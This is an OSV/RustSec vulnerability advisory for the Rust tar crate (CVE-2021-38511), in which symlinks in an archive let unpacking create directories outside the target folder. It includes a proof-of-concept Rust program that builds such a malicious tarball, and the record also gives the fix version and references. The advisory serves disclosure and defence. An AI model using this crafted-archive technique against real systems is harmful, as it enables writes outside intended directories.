rustsec-2021-0080
Vulnerability from osv_rustsec
Published
2021-07-19 12:00
Modified
2023-06-13 13:10
Summary
Links in archive can create arbitrary directories
Details

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "categories": [],
        "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [
            "tar::Archive::unpack"
          ],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tar",
        "purl": "pkg:cargo/tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-0"
            },
            {
              "fixed": "0.4.36"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2021-38511",
    "GHSA-62jx-8vmh-4mcw"
  ],
  "database_specific": {
    "license": "CC0-1.0"
  },
  "details": "When unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it\u0027s supposed to unpack into.\n\nThe function errors when it\u0027s trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -\u003e Result\u003c()\u003e {\n    let mut buf = Vec::new();\n\n    {\n        let mut builder = Builder::new(\u0026mut buf);\n\n        // symlink: parent -\u003e ..\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink\")?;\n        header.set_link_name(\"..\")?;\n        header.set_entry_type(EntryType::Symlink);\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(\u0026header, io::empty())?;\n\n        // file: symlink/exploit/foo/bar\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink/exploit/foo/bar\")?;\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(\u0026header, io::empty())?;\n\n        builder.finish()?;\n    };\n\n    Archive::new(\u0026*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering\nand reporting this, and Nikhil Benesch (@benesch) for the fix!",
  "id": "RUSTSEC-2021-0080",
  "modified": "2023-06-13T13:10:24Z",
  "published": "2021-07-19T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/tar"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2021-0080.html"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/alexcrichton/tar-rs/issues/238"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Links in archive can create arbitrary directories"
}


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